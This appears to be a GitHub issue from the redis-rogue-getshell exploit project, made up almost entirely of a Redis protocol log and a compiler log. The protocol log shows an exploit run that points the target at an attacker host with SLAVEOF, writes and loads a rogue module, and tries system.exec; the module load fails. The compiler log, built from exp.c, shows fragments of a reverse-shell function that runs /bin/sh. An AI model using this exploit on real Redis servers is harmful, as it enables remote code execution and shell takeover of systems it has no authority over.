vulhub / redis-rogue-getshell Goto Github PK

>> send data: b'*3\r\n$7\r\nSLAVEOF\r\n$12\r\n10.20.29.148\r\n$4\r\n8888\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$6\r\nexp.so\r\n'
>> receive data: b'+OK\r\n'
>> receive data: b'*1\r\n$4\r\nPING\r\n'
>> receive data: b'*3\r\n$8\r\nREPLCONF\r\n$14\r\nlistening-port\r\n$5\r\n56379\r\n'
>> receive data: b'*5\r\n$8\r\nREPLCONF\r\n$4\r\ncapa\r\n$3\r\neof\r\n$4\r\ncapa\r\n$6\r\npsync2\r\n'
>> receive data: b'*3\r\n$5\r\nPSYNC\r\n$40\r\n204811cefd7bc080eb8d5bb9686d6a3981fbd8d0\r\n$1\r\n1\r\n'
>> send data: b'*3\r\n$6\r\nMODULE\r\n$4\r\nLOAD\r\n$8\r\n./exp.so\r\n'
>> receive data: b'-ERR Error loading the extension. Please check the server logs.\r\n'
>> send data: b'*3\r\n$7\r\nSLAVEOF\r\n$2\r\nNO\r\n$3\r\nONE\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$8\r\ndump.rdb\r\n'
>> receive data: b'+OK\r\n'
>> send data: b'*2\r\n$11\r\nsystem.exec\r\n$2\r\nid\r\n'
>> receive data: b'-ERR unknown command `system.exec`, with args beginning with: `id`, \r\n'
-ERR unknown command `system.exec`, with args beginning with: `id`,

>> send data: b'*3\r\n$6\r\nMODULE\r\n$6\r\nUNLOAD\r\n$6\r\nsystem\r\n'
>> receive data: b'-ERR Error unloading module: no such module with that name\r\n'

make -C ../rmutil
make[1]: Entering directory '/redis-rogue-getshell/RedisModulesSDK/rmutil'
gcc -g -fPIC -O3 -std=gnu99 -Wall -Wno-unused-function -I../   -c -o util.o util.c
gcc -g -fPIC -O3 -std=gnu99 -Wall -Wno-unused-function -I../   -c -o strings.o strings.c
gcc -g -fPIC -O3 -std=gnu99 -Wall -Wno-unused-function -I../   -c -o sds.o sds.c
gcc -g -fPIC -O3 -std=gnu99 -Wall -Wno-unused-function -I../   -c -o vector.o vector.c
gcc -g -fPIC -O3 -std=gnu99 -Wall -Wno-unused-function -I../   -c -o alloc.o alloc.c
gcc -g -fPIC -O3 -std=gnu99 -Wall -Wno-unused-function -I../   -c -o periodic.o periodic.c
ar rcs librmutil.a util.o strings.o sds.o vector.o alloc.o periodic.o
make[1]: Leaving directory '/redis-rogue-getshell/RedisModulesSDK/rmutil'
gcc -I../ -Wall -g -fPIC -lc -lm -std=gnu99     -c -o exp.o exp.c
exp.c: In function ‘DoCommand’:
exp.c:16:15: warning: initialization discards ‘const’ qualifier from pointer target type [-Wdiscarded-qualifiers]
   char *cmd = RedisModule_StringPtrLen(argv[1], &cmd_len);
               ^~~~~~~~~~~~~~~~~~~~~~~~
exp.c:23:8: warning: implicit declaration of function ‘strlen’ [-Wimplicit-function-declaration]
    if (strlen(buf) + strlen(output) >= size) {
        ^~~~~~
exp.c:23:8: warning: incompatible implicit declaration of built-in function ‘strlen’
exp.c:23:8: note: include ‘<string.h>’ or provide a declaration of ‘strlen’
exp.c:27:4: warning: implicit declaration of function ‘strcat’ [-Wimplicit-function-declaration]
    strcat(output, buf);
    ^~~~~~
exp.c:27:4: warning: incompatible implicit declaration of built-in function ‘strcat’
exp.c:27:4: note: include ‘<string.h>’ or provide a declaration of ‘strcat’
exp.c:29:66: warning: incompatible implicit declaration of built-in function ‘strlen’
   RedisModuleString *ret = RedisModule_CreateString(ctx, output, strlen(output));
                                                                  ^~~~~~
exp.c:29:66: note: include ‘<string.h>’ or provide a declaration of ‘strlen’
exp.c: In function ‘RevShellCommand’:
exp.c:41:14: warning: initialization discards ‘const’ qualifier from pointer target type [-Wdiscarded-qualifiers]
   char *ip = RedisModule_StringPtrLen(argv[1], &cmd_len);
              ^~~~~~~~~~~~~~~~~~~~~~~~
exp.c:42:18: warning: initialization discards ‘const’ qualifier from pointer target type [-Wdiscarded-qualifiers]
   char *port_s = RedisModule_StringPtrLen(argv[2], &cmd_len);
                  ^~~~~~~~~~~~~~~~~~~~~~~~
exp.c:48:24: warning: implicit declaration of function ‘inet_addr’; did you mean ‘si_addr’? [-Wimplicit-function-declaration]
   sa.sin_addr.s_addr = inet_addr(ip);
                        ^~~~~~~~~
                        si_addr
exp.c:57:3: warning: null argument where non-null required (argument 2) [-Wnonnull]
   execve("/bin/sh", 0, 0);
   ^~~~~~
exp.c: In function ‘RedisModule_OnLoad’:
exp.c:68:5: warning: this ‘if’ clause does not guard... [-Wmisleading-indentation]
     if (RedisModule_CreateCommand(ctx, "system.exec",
     ^~
exp.c:71:2: note: ...this statement, but the latter is misleadingly indented as if it were guarded by the ‘if’
  if (RedisModule_CreateCommand(ctx, "system.rev",
  ^~
ld -o exp.so exp.o -shared -Bsymbolic  -L../rmutil -lrmutil -lc